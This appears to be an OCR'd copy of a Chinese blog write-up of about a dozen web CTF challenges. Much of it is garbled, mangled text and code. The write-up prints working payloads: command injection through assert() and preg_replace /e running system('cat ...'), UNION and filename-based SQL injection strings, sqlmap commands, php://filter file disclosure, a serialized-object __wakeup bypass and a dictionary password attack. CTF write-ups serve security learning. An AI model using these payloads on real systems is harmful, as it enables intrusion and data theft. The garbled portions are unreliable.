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paintShadow F 2019-07-31 18:24:48 K Aii 1972 W 1

FEELFE: CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACHER:: https://blog.csdn.net/weixin_44236278/article/details/97940005

FERAL

|CTF ERERFIZAR

9 RXE 01Tk
BB

— . NaNNaNNaNNaN-Batman

T # K LLS Fsublime textiT 77, RILRjsARY

<script>_="function $(){Eile=EoligetEleSiById("c").value;H9length==16FW"
Wk SOHPEEETS SOHEEEEEN SOHWAISIB E LDRLS T X 4B SEAE T X SMEIE TXME TXEHACKBSEIETX
UEME TXACKIEB SEE TXEE TX M ACK B SHAANF T XIE TX[WACKES]]
t,n,r,1i];for(EM0=0;0<13;++0){MM[@]) ;M .splice(0,1)}}} \"<input
id="c"><@3 onclick=$()>0k</@3>\");delete oA FE)=HRIvar

ETXIMEOT[[I¥IS TAIENQ)ISOLEN W/ ACK IS T X[BE LVARELTINIE S R O TIN oA <I(\/ TH
o%4 ]@sbuttondeif(e.SHiment ' ;for(Y in $="SEEZN

BSIBE LIACKIENQIEOTIE TX STX[SOHRSIS A [ QT AR R EIRA DD IER[: L [ (-1 1@ D HE @ RV
script>

https://blog.csdn.net/weixin_4:

TR FERBBOIhmIR G BITIF, 2B —>7 25\ R 76 H0 Ui

C @ O filey///G:/EE%ZE/CTFRE {4 /web100.html

| | ok

FoASCfE s B R AR, BT RIRBITEMAMMZMAEE X EREALEREFHABE R TRE . &)5Rieval#it
Flalert T — T LB A MR, BMERSFEFKANL. XUKEEERARER

function $(){var e=document.getElementByld("c").value;if(e.length==16)if(e.match(/*be0f23/)I=null)if(e.match(/233ac
N'=null)if(e.match(/e98aa%$/)!=null)if(e.match(/c7beS/)I=null){var t=["f","s_a","i","e}"];var n=["a","_hOI","n"];var r=["g{"."e","_0"];var
i=["it","_","n"];var s=[t,n,r,i];for(var 0=0;0<13;++0){document.write(s[0%4][0]);s[0%4].splice(0,1)}}}document.write('<input id="c"><button
onclick=%()>Ok</button>");delete _

hitps://blog.csdn.netweixin 44236278


https://blog.csdn.net/weixin_44236278
https://blog.csdn.net/weixin_44236278/category_9183709.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44236278/article/details/97940005
https://blog.csdn.net/weixin_44236278/category_9183709.html
https://blog.csdn.net/qq_41617034/article/details/91946853

7. BTHPN—&ERENRKNER TR ERAR, MHBXIEERLHMEK, hlfH P mdHE BN IEHEZ i ae ik
ITHEAERIE, FTULEARBAREF. 2510 E
RIGIEIEH AR B 215 2

function 5()

1
var e=document.getElementById("c") .value;
if (e.length==16)
if (e.match(/"be0f23/) '=null)
if{e.matchi({/233ac/) !'=null)
if (e.match(/e%98aas/) !=null)
ifle.match(/cTbe%/) !=null)
| {
var t=["fl1","s a","i","e}"];
var n=["a"," hOl","n"];
var r=["g{","e"," 0"];
var i=["it'","™ ","n"];
var s=[t,n,r,1i]:
for (var o=0; o0<l3; ++0)
7 {
document.write (s[o%4][0]):
s[o%4] .splice (0, 1)
i }
r }
]
document.write('<input id="c"><button onclick=3()>0k</button>"');
delete

RE—
LRSI, ERRMET, RAET REKCERAE @8R
JiE—: EENRER
B s E
ENRERMF LR, FRRS, AMRIBNSBIZFENKEN6, FUEBREGIRNZHIHERR, WA
be0f233ac7be98aa. AHIER KA H 2 ME, KT IRZ KA HI .
FHE: R EPITRG

flag{it's_a hOle in One}lflaglit's_a hOle_in_One}

o O s DERe (Ialmes D Oar NS O & oEERs
|0 s
€SS XHR &K

A FA document.write() S5 FiEife] g MEMEIEWETRT. BEZ£{E825 0 https://developer.mozilla.org/en/Optimizing Your_Pages_for_Speculative_Parsing
O v HEMFFREEFR. MEEHEE us-ascII BECIMFRF, BIUERTEANNSRE S ZSWAIN. el FFRRLME G T EER L EFY.
»> allow pasting
@ syntaxError: unexpected token: identifier [H#07T#%]
» var t=["f1","s_a","i","e}"];
var n=["a","_hel","n"];
var r=["g{","e","_0"];
var i=["it'"," ","n"];
var s=[t,n,r,i];
for(var 0=0; 0<13; ++o0)
{
document.write(s[o%4][@]);
s[o%4].splice(@,1)
1
& p Array [ "e}" ]

»

B %flag{its_a_hOle_in_One}


https://www.cnblogs.com/ken-admin/p/5826436.html
http://www.mamicode.com/info-detail-2153763.html

7
B X TFeval i £ Bt B ;
H & TFsplice B I VLB .

—. PHP2

TR TRE —H)E

Can you anthenticate to this website?

5 ZHURLG
4R, ViklindexphpB A 4R, )5V Hindex.phpsul & B LA T 51«

& C ® 111.198.29.45:57313/index.phps

not al lowed!

"); exit(Q; } $ GET[id] = urldecode($ GET[id]); if($ GET[id] == "admin") { echo "
Access granted!

": echo "

Key: xxxxxxx

": } ?> Can you anthenticate to this website?

BRERRI, phps3Cihmt ZphpPEMRIE M, XEBERSERE

PO ER
& NBIId B Se AT urlfAg 48 J5 -2 MadminlTRS, # UUTAEC T #t &t Piflags


https://www.w3school.com.cn/jsref/jsref_eval.asp
https://www.w3school.com.cn/jsref/jsref_splice.asp
https://zhidao.baidu.com/question/43693848.html

23R B\ ?id=admin
<« c () 111.198.29.45:57313/?id=admin

not allowed!

I 3 o %
RWETHUBFE, FiesEBEH A Aadmin, hFRBIEE, MadmindtTURLEGE, BN L7 ST AHRMEL, B
HEMAR, Fiadminfk, EEREART, & B EE
(R TR R 45 R B B N admin—#%, T EACRD s —AMRIDIE R, B LAREIZR Xadmin = R4ES, KT BAZE &Sk,
TR RIS %2561%2564%256d%2569%256e

<« C ® 111.198.29.45:57313/?id=%2561%2564%256d%2569%256€

Access granted!
Key: cyberpeace {€4810ce34ab8df0326eac01e0e8bd3e1}

Can you anthenticate to this website?

Z%lflag: cyberpeace{e4810ce34ab8df0326eac01e0e8bd3e1}

=. mfw
SR E R — M

< c @ ® 111.198.29.45:56101 &

Project name  Home

Welcome to my website!
| wrote it myself from scratch!

You can use the links above to navigate through the pages!

SRJE B drabout RILIX R —git. php. bootstrap# @i A i Pk, 435 Vi 1. git, R BLIRRG ik %

< cC @ ® 111.198.29.45:56101/.git/

Index of /.git

Name Last modified SizeDescription

aParent Directory -
(2] COMMIT EDITMSG 2018-10-04 12:57 25

Ialll-.lh MAAN AN AA A™S =7 Lalal



https://www.w3school.com.cn/tags/html_ref_urlencode.html

[ﬂl‘ltﬂu ZUNSo—1Iu—u4a 1£:2/ £3

([} branches/ 2018-10-04 12:57 -
?) config 2018-10-04 12:57 92
Zdescription 2018-10-04 12:57 73
DM 2018-10-04 12:57 -
?] index 2018-10-04 12:57 523
£ info/ 2018-10-04 12:57 -
([ logs/ 2018-10-04 12:57 -
[[Jobiects/ 2018-10-04 12:57 -
£ refs/ 2018-10-04 12:57 -

Apache/2. 4. 18 (Ubuntu) Server at 111, 198. 29. 45 Port 56101

\GitHack-master>python githack.py http://111.198. 29. 45:56101/. git/

t. php

KB FAEflag.php i, (ERITIFLLE KB B H B A flag

1
4

FRITHindexphpXfh:, KILT =ML


https://blog.csdn.net/qq_32448559/article/details/79142294

<?php

if (isset($ _GET['page'])) {
$_GET[ 'page'];

{

"home" ;

"templates/" . $page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file’', '.."') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice

assert("file exists('$file')") or die("That file doesn't exist!");

?>

IEAM TR

& \pageZ$ ¥ strpos i H A&, v LLER

FFstrposEi %,

FrLAtiE: ?page=".system(‘cat ./templates/flag.php”). GE¥ B HRWEB)
RIEEERNRG:

c @ (® view-source:http://111.198.29.45:56101/?page=".system("cat ./templates/flag.php").’
<?php $FLAG="cyberpeace {4d8ddf28fba516fbe369bfeda68047al}”; 2>

<?php $FLAG="cyberpeace {4d8ddf28fhab16rbe369bfeda68047al}”;: 2>
That file doesn’ t exist!

H¥iflag: cyberpeace{4d8ddf28f5a516fbe369bfeda68047a1}

Pq. unserialize3

ITIT 88 A ) T TH

<> C () 111.198.29.45:31199

class xctf{

public $flag = "111";
public function _ wakeup () {
exit('bad requests') ;

}

?code=

TRIMLEINA
R H KRR, $ATFSIARIEE RS R

4 <o


https://www.w3school.com.cn/php/func_string_strpos.asp
https://baike.baidu.com/item/%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596/2890184?fr=aladdin

xctf

$flag '111°;
__wakeup() { exit('bad requests'); }

}
$x xctf();

print(serialize($x));

2>

&
=

i
‘

run (ctrl+x) Hr N copy SELFTRD BB, 5 AXA S EHXE

® XAHXEF O htmlF X 8+

-0:4:"xctf”:1 {s:4:"flag";s:3:"111";}

Mii&payload: ?code=0:4:“xctf":1:{s:4:“flag”;s:3:111”;},45 B4 H Bl wakeup() B F R KA 2 -

& G ® 111.198.29.45:55955/?code=0:4:"xctf":1:{s:4:"flag";s:3:"111"}}
bad requests
FrCh, BLTE R 32 B2 9] Rl 2 e 523 wakeup()eR Bk & 2lflag .
R : BRI ERFEFRBHENKRTEBEAN S, BeSBURFIMLEE, MMkt wakeup().
publicB LR BIEEM BN A KE BHELA"BEL BHEKE BHEE".

BHELKERT, FIUEREKESC2RT LS8R, Mikpayload: ?code=0:4:"xctf":2:{s:4:“flag”;s:3:“111”;}h v] LABk i
_wakeup(), MM &7 Hflag

& G ® 111.198.29.45:55955/?code=0:4:"xctf":2:{s:4:"flag";s:3:"111";}

the answer is : cyberpeace {f9dd4e9c1db1c1c0364607521de57e02}

Z3flag: cyberpeace{fddd4e9c1db1c1c0364607521de57e02}




Fi. simple js

TR EMA —NMEE, RESHEERFHEMAEIR, LR E 2 % UG BEE M RIS R B s

function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(',"');

var tab2 = pass.split(',"');var i,j,k,1=0,m,n,0,p = "";i | tab.length;
k =3+ (1) + (n=0);
n = tab2.length;
for(i = (0=0); i < (k = j =n); i++ ){o = tab[i-1];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (0=0); i < (k =3J =n); i++ ){
o = tab[i-1];
if(i > 5 & 1 < k-1)
p += String.fromCharCode((o = tab2[i]));
¥
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
¥
String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x
ENAVENAVEVAVIIAVENAVEIAVEIAVVIAVENAVEAVEVAV VIAVEVAVEL AV VIAVEIAVE R DK

h = window.prompt('Enter password');
alert( dechiffre(h) );

i BB AIE, TRRAAEN, S2EREEAR, WEIERNERL TfromCharCoded, LA String Py i
Fr e e Fpythonkb B — T &8 2| — B #(F: 55,56,54,79,115,69,114,116,107,49,50

5,69, 114, 116, 107, 49, 50

X RLASCIRG # 4k UL J5 i 45 5 /2 786 OsErtk 12
B )55 Flflag: Cyberpeace{7860sErtk12}

X B IX B s D R4 70 b

75~ xff_referer


https://blog.csdn.net/qq_41617034/article/details/91490695

TR RE R —4a)iE: ipHilik%4i8123.123.123.123
FIFHburpdla, #RJ57Ehttpid kL in_EX-Forwarded-For: 123.123.123.123

<p id="demo"sip HihE a5l 19123,123.123.123</p >
<seript>document getEle ment Byld["dema" |inner HTML=" 5l 3[ Elhttps hwww google .com®; <iscriptz</body>
fhtml=

a2 AL 4K B Google.comiI E 3K, T R AETE Kk i _EReferer: https:/mwww.google.com, #i&&Zlflag

Spod=Tdemot F R LI LS 125,123 12d=pE

<seript>document getElement Byld["dema" |inner HTML=" 51 3[ Elhitps hwwow google com™; <iscript> <script>document get Ele ment Byl
d{"demo")innerHTML="cyberpeace{2dTf24506e6d3Tcd 1bdThTidd TBOGSS0}"  </script= </bady=

<fhtml=

58 %flag: cyberpeace{2d7f24506e6d37¢c41bd7b7fdd7806950}

TR

X-Forwarded-For (XFF) & KR 5@ HTTP AR 5 41 82 #5177 I B Web I 55 9% 925 7 31 ¢ SR 46 (0 1P M bk BT HT TP 3Kk 3k
FB TR SR U R XATRT LU B http i SR Sk ) 3 e BRIk B Dy & IP I 25UR

HTTP Referer@&headerffi—&4y, 4% K24 MwebfR %588 KiX1E KRB %, —M<t EReferer, & 1RARSS281% M T2 A BEAN 1T
MR, MRS BE A DRE —REEH T4,

+. weak auth

TR R — BRI, FEGE S P 4 M 5t 2 Bk ¥ Blcheck php i, EF A SRR R T EM B 781

C ® () view-source:http://111.198.29.45:40020/check.php

{!DOCTYPE html>
<html lang="en”>
<head>
{meta charset="UTF-8">
{titled>weak auth</title>
{/head>
<body>

{scriptralert (’ password error’ ) ;<{/script></—maybe you need a dictionary—>

<{/body>
</html>

B LA F burpIMBLAR & K& Blintruderi# AT B8 . B ek LA FRTH TR, )5 HloadF

E] Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste . Fadmin h
admini2
Load ... . admingas
adming
Remove | | sdminiz3 [ 3
sysadmin
Clear . adminoo
adminx



https://github.com/rootphantomer/Blasting_dictionary/blob/master/%25E5%25B8%25B8%25E7%2594%25A8%25E5%25AF%2586%25E7%25A0%2581.txt

| Bxadmin 1¥]

Add admin

Add from list ... [Pro versicn only]

X B P4 Radmin, R X password 34T 4R
. startattack/5 & RKIM123456 X NELAM LMK FERLKER—FE, NMiZeEREN, FrolahdeREgmmils g Ifag

Payload: 123456
Status: 200
Length: 437
Timer: 21

(renes Jeor

JRHTHB&dElsTHEXTHTMLTHEndEI]

HTTP/M.1 200 QK

Date: Fri, 02 Aug 2019 0407:18 GMT
Server Apache/2.4.7 (Ubuntu)
“-Powered-By: PHP/S.5.9-Tubuntud 28
Wary: AcceptEncoding
Content-Length: 225

Connection: close

Content-Type: text'html

=IDOCTYPE himl=
<html lang="en"=
zhead=
<meta chamset="UTF-2">
=title =weak auth</title=
<fhead=
=hody=

syberpeace{E35d634b31d7823235Tchbde3d92:e4 3T} <l—maybe you nead & dickonan-—-=

cyberpeace{635d634b91d7823e357cb4e3d92e437c}

J\. NewsCenter

TR RIE— ¥ E T H, Search NewsH 7] LIS B

Hacker News

OVERVIEW

Search news

LN PPRTYEN



7:7{25— SqIE‘)\: ?%
BHHH ' and 0 union select 1,2,3 # SREIWIiZsqlEiik B =548

Search news

search
"and 0 union select 1,2,3 #

News

SRIEH ' and @ union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_ SCHEMA.COLUMNS # Z#)%|#& 4

Search news

search

"and 0 union select 1, TABLE_SCHEMA, TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #

News

information_schema
CHARACTER_SETS
information_schema
COLLATIONS

ERIIB G FE—secret_table, XRRINFENR, A/5HHAH ' and 0 union select 1,column_name,data_type from
information_schema.columns where table name='secret_table'# 5% secret_table R W54 DA R BRI R

Search news

search
" and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_


https://blog.csdn.net/weixin_42151611/article/details/91347270

News
id
int

flag
varchar

RIUf4g, SAFEFF ' and @ union select 1,2,flag from secret_table # T LAk flag

Search news

search
"and 0 union select 1,2 fldg from secret_table #

News

2
QCTF{sq1_inJec7ion_ezzz}

Z3Fflag: QCTF{sq1_inJec7ion ezzz}

F—: sqlmap



S FburpIE, RJEH IR K http Sk #815 BARTE AR A0

AT 4: sqlmap.py -r 1.txt --dbs

¥ fsqimapf mkiEtE, S22 NI unable to connect to the target URL. sqimap is going to retry the request(s)4t i 27,
W ERTRZER, BRI RwaflRHl, , Z2RTREZ, BEHRI.

KTMRRT, BAFEFRERbupilGREHEITH TRERE, RAEMES—EHEALURL, X EREHET. HESEBR.
WIE, RIT BABEEE

> Names

ZIREENewsEIEEF R ANE, AT 4L: sqlmap.py -r 1.txt -D news --dump

. News
ecret_table

e ——— +

Z3flag: QCTF{sq1_inJec7ion_ezzz}



http://owasp.lofter.com/post/1d108e85_6d782fe
https://blog.csdn.net/qq_34444097/article/details/82717357
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IO e UG R — MEM T, FEEEMN —MKSREEREE, B—ALEXHRE, REBEE e, X4
AE T b

Up10dd pdye - VVECICOITIC 1£01£9

Logout

file list(<10 files)

H... | AEFLA
submit
1827030121.jpg

FEMRAF 2T REAFAEEANTRT (AR AREREAFRD , Ziksubmit—A 4 AselecttI XX, FREIXLABLIERE T

Upload page - Welcome 123123

Logout
file list(<10 files)

S A o = S
submit
1827030121 jpg

Jpg

WG L AE 2 AfromI U th R FREB S 33 T . RJ5 B2 Nselselectect I SC i IhSeid, selectjpg®nfEMT .
selselectectf] 5 [ & H Bl I select it #€ T LG, BHikiselfectn] DA mu# I+

F... | AEAF LA
submit
1827030121.jpg

pg

pg

pg

select.jpg

B S B



FtE—A44% K sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+"'.jpg ST Bt 2 iR R
131277325825392, #RJ5t+HE#lHALE N HH HE FRAMSEE]: web_up

BiH:

X BLAZRAE P S+ 7Nt i) e B+t ) B B T R R R IB B 7 BE T, DU R

'+(selselectect dAtabase())+'.jpg => ©

"+(selecselectt substr(dAtabase(),1,12))+'.jpg => ©

"+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625

RISk A i

1331819238756 => load, RJSIEFHAHHEL KK 7T LA 2 $E FE 4 9 web_upload

Y XBEFRAPHENTERES, MREBEEHHEAMBERERSEARFCE0E, REREEFRINERET/S#H, BrilkE
2112, RIEHEMBITHE R

X B2 9% Fsubstr()HI i B 5

HEK:

Bi#)]: '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where
TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+"'.jpg

3%3]: 114784820031327 => hello_

LB W: '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where
TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

B3%]: 112615676665705 => flag_i

LB W: '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where
TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

5%]: 126853610566245 =>s_here

PrHERRBRIRLHAZ: hello_flag_is_here

BFR

Bi#f): '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where
TABLE_NAME = 'hello_flag is_here' limit ©,1)),1,12),16,10))+'.jpg

B4%]: 115858377367398 =>i_am_f

LB H: '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where
TABLE_NAME = 'hello_flag is_here' limit ©,1)),13,12),16,10))+'.jpg

8%]: 7102823 => lag

PHER KRB HF R Aagh £ B: i_am_flag

#Eifjflag

#f: '+(seleselectct+CONV(substr(hex((selselectect i_am flag frfromom hello flag is_here limit
09,1)),1,12),16,10))+'.pg

53] 36427215695199 => 11_@m_

AT '+(seleselectct+CONV(substr(hex((selselectect i_am flag frfromom hello flag is_here limit
9,1)),13,12),16,10))+" . jpg

B%]. 92806431727430 => The_F

AT '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello flag is here limit
9,1)),25,12),16,10))+" . jpg

18%]. 560750951 => llag

BEBERKSElag: '@m_Th.e Fllag

BRI g lagpg#E A: RCTF{Il@m_Th.e_F!lag}

. SERER


https://www.cnblogs.com/sylvandu/p/5732919.html
https://www.cnblogs.com/Dozeer/p/10953036.html

+. ics-05



THRER LEZEERATH

Bl T B EBER

4 280m  + 08:3306

-éﬁ ing
g

EMEREERLZHE, HEAFRGES HOREHEND SN, HbrEHRRERL

SFEREHHA

D WEEH X1 PR R

e m R =t

ERBEERME M AERS, BT RN RIERFHAPHPH MU AT AEE BIVES, X B EZXTFPHPHIMLKIANE;
FEBHBIMAR A php/filtern] LAZEATAE R SCH R EL

ﬁ]iﬁpayload: ?page=php://filter/convert.base64-encode/resource=index.php

YiB: convertbaseb4-encodeR i UER, WAL H L KBaseb4 4wt .

R JE AT DA B — Bt Base64 4w Y

= FaELEr P

D RS X1z PR R

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhcnQoKTsKeG9zaXhfc2V0dWIkKDEwMDApOwoKCj8+CjwhRESDVFIQRSBIVE 1MPgo8aHRtbD4KCjxoZWFkPgoglCAgPG11dGEgY2hhe
log73vvlzpnlDopoHkvp3otZZIbGVtZW505qih5Z2XCiAgICAgICAgLY
/nm5HIkKzIr7zoiKrngrnlh7sKICAgICAgGICBIbGVtZW50LmO9uKCduYXYoZGVibyknLCBmdW5jdGlvbihIbGVtKSB7CiAgICAgICAgICAgIC8VY29uc29sZS5sb2coZWxIbSkKICAgICAgICAGICAgbGF5ZXIubXNnNKG
/PgoKICAgIDxiciAvPijxiciAvPjxiciAvPjxiciAvPgoglCAgPGRpdiBzdHIsZT0idGV4dC 1hbGInbjpjZW50ZXIiPgogl CAgICAgIDxwIGNs Y XNzPSJsZWFklj48P3BocCBIY2hvICRwYWdIOyBkaWUoKTs
/PjwveD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPDSOwaHAKCn 1IbHNIewoKPz4KICAgICAgICA8YnlgLz48YnlgLz48Y nigLz48YnlgLz4KICAgICAGICABZGI2IHNOeWxIPSJOZXhOLWFsaWduOmNIbnRIcil+(
lcGhwCgoglCAgICAgICAgICAgICAgaWYgKHNOcnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgGICAgZGIIKCk7CiAgICAgICAgICAgICAgICBOCgogICAgICAgICAgICAgICAgaWYg
IPgogICAgICAgIDwvcD4KICAgICAgICA8YnlgLz48Ynlglz48YnlgLz48YnlgLz4KCjw/cGhwCn19CgoKLy/mirnkvr/nmoTIrp7njrDovpPlhaXovpPlh7rnmoTlip
10g7055¢2j5Zyo5byA5Y+R5Lit55¢E5Yqf610977yM5Y +q61095YaF6Y O05Lg65ZGY SrWLEK+VCgppZiAcJFITRVJIWRVIbJOhUVFBIWFIGT1JXQVJERURRK9SJ10gPTO9ICcxMjcuMC4wLENnKSB7CgogICAg
/PgoKPC9ib2R5PgoKPC90dG1sPgo=

Bt Base64 @D 5t Al AIRIFIRTD


https://cloud.tencent.com/developer/article/1037893

charset="utf-8">
name="renderer" content="webkit">
http-equiv="X-UA-Compatible"” content="IE=edge,chrome=1">
name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
rel="stylesheet" href="layui/css/layui.css" media="all">
<title>WA4EF Hhi</title>
<meta charset="utf-8">

<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">=F & &&4I Filr</a></1i>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>##&%I3K</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- XHEH checked KIRSRRESR -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="Jf|3%" lay-filter="checkD
emo" {{ d.id==1 @003 ? ‘'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({

elem: '#test',

url: '/somrthing.json’,

cellMinWidth: 80,

cols: [

[
{ type: 'numbers®' },

type: ‘'checkbox' },
field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
field: 'name', title: '&&4&', templet: '#nameTpl' },
field: 'area', title: 'Xi' },
field: 'status', title: '#ZEFUIRZS', minWidth: 120, sort: true },
field: 'check', title: '##&JF X', width: 85, templet: '#switchTpl', unresize: true }

{
{
{
{
{
{

1
page: true
3
1)
</script>
<script>




var element = layui.element; //Sfiflhover®iE. LB EINEE, FEKiielementiEbl
// WSV A R
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
1)
1)

</script>

$page = $_GET[page]l;
if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">

<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<br /><br /><br /><br />
<div style="text-align:center">

<p class="lead">
<?php

if (strpos($page, 'input') > @) {
die();

if (strpos($page, 'ta:text') > @) {
die();

if (strpos($page, 'text') > 0) {
die();

if ($page === 'index.php') {
die('0Ok");

include($page);
die();
?>
</p>
<br /><br /><br /><br />

/ /75 (R SE IV N B s B DO RE, IEFETT R P I T0RE, R BEA BB R




if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

}else{
die();

R RIGFEX:

if (S_SERVER| ] === )

echo "<pr >Welcome My Admin ! <hr >";

spattern = 5 GET[pat];
Sreplacement = $§ GET[rep]:
Ssubject = 5 _GET[sub];

if (isset(spattern) && isset(5replacement) && isset (Ssubject)) |
preg replace(Spattern, Sreplacement, S5subject):

lelse]
die():

AR
#it, KRB —PHMRER X_Forwarded_For:127.0.0.1, TRIME, BK, REEFEMAGETH T REB=ASH. X 2T
%R S 2 preg_replace (A%l . preg_replace(\ R HE NS ERREE —NSH, T Hpreg_replace() 5/ RIE i 45
A AL ESHAEPHPARIEHAT .
FRMiE /index.php?pat=/(.*)/e&rep=system('1ls" )&sub=aa

Request Response

J Raw TParams THeaders Hex | Raw | Headers | Hex HTML TRender ]

GET /index php?pat=/(_*)/e&rep=system('ls")&sub=aa HTTP/1.1

A llconsole.log(elem)
Host: 111.198.29 45:40944 layer.msg(elem.text());
Cache-Control: max-age=0 )R
Upgrade-Insecure-Requests: 1 }i=<lscript=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTNIL, like Gecko) <br >

Chrome/75.0.3770.142 Safari/537.36 Welcome My Admin !


https://xz.aliyun.com/t/2557

ACCEpr <pr >
text/html application/xhtml+xml, application/xml,g=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v css
=b3 index.html
Accept-Encoding: gzip, deflate index.php
Accept-Language: zh-CN,zh;q=0.9 js
Cookie: PHPSESSID=e7e49tninOn7h4c6ja15ergfk0 layui
Connection: close | logo.png
x-forwarded-for:127.0.0.1 s3chahahaDir
start.sh
.png
css
index.html
index.php
Js
layui
logo.png
s3chahahaDir
start.sh
-png</body>
</html>

K Is3chahahaDirsc 3¢, 4k%E#)i&: /index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=aa REFZXH T2
vafﬂﬁﬂagiﬁ:: %@Wiﬁﬁ%ﬂagiﬁ%ﬂ‘]lﬂ%‘-: /index.php?pat=/(.*)/e&rep=system( ' ls+s3chahahaDir/flag" )&sub=aa &
RO Afag.phpXH, 4EEEE: /index.php?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa <K
flag.

NnEyuwIL NEIpVIISS

_[ Raw TParams THeaders [ Hex [Raw T Headers | Hex HTML rRender ]

GET findex php?pat=/( *)/e&rep=system('cat+s3chahahaDir/flag/flag php')&sub=aa HTTP/1 1 A { field: "status’, title: '#E4 k7", minWidth: 120, sort: true },
Host: 111.198.29 45:40944 o { field: "check’, title: WEFFL, width: 85, templet: "#switchTpl', unresiz
Cache-Control: max-age=0 1
Upgrade-Insecure-Requests: 1 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) page: true
Chrome/75.0.3770.142 Safari/537.36 biH
Accept: }i=/script>
text/html application/xhtmi+xml,application/xml,g=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v <script>layui.use('element’, function() {
=b3 var element = layui.element; /' SRifhoverZ®. “HFEHZIRE, TEK
Accept-Encoding: gzip, deflate 1
Accept-Language: zh-CHN,zh;q=0.9 element.on('nav(demo)', function(elem) {
Cookie: PHPSESSID=e7e49tninOn7h4c6ja15e7gfk0 llconsole.log(elem)
Connection: close ‘ layer.msg(elem.text());
x-forwarded-for:127.0.0.1 »:
Y);</script>
<br =
Welcome My Admin !
<br =
<7php
$flag = 'cyberpeace{06f44e9642841ef2091c826fadfc186¢)';
el
<7php
$flag = 'cyberpeace{06f44e9642841ef2091c826fadfc186c)';
e
</body>
</html>

Z3Fflag: cyberpeace{06f44e9642841ef2091c826fadfc186¢}

*h7E:
HEHMREBHWpKIA E R BT ERRE RS EP S —EHIER, #ENEX, WRERE

+—. Triangle


https://blog.csdn.net/qq_37433000/article/details/92784337

XERSERHR

T EEE LS A Z R A\ flag B 3%, F128R 3| — MK R B AR = AN jsi 4

|function login/() {
var input = document.getElementById|( ) .value;
var enc = enc pw(input):;
var pw = get pw();
] if (test pw(enc, pw) == 1){
alert ( ) :
h
] else|
alert ( )

< =" funicorn.js"></
< =" futil.js"»</ >
< ="./secret.js"></ >

L]

HrpsecretjsH =¥, BHEWMT

function test_pw(e,_)
{
var t=stoh(atob(getBase64Image("eye"))),r=4096,m=8192,R=12288,a=new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9,m),a.reg write_i32(uc.ARM_REG_R10,R),a.reg_write_i32(uc.ARM_REG_R8,_.length),a
.mem_map(r,4096,uc.PROT_ALL);
for(var 0=0; o<ol.length; o++)a.mem _write(r+o,[t[ol[0]]]);
a.mem_map(m,4096,uc.PROT_ALL),a.mem_write(m,stoh(_)),a.mem_map(R,4096,uc.PROT_ALL),a.mem_write(R,stoh(e));
var u=r,c=r+ol.length;
return a.emu_start(u,c,0,0),a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e)
{
var _=stoh(atob(getBase64Image("frei"))),t=4096,r=8192,m=12288,R=new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
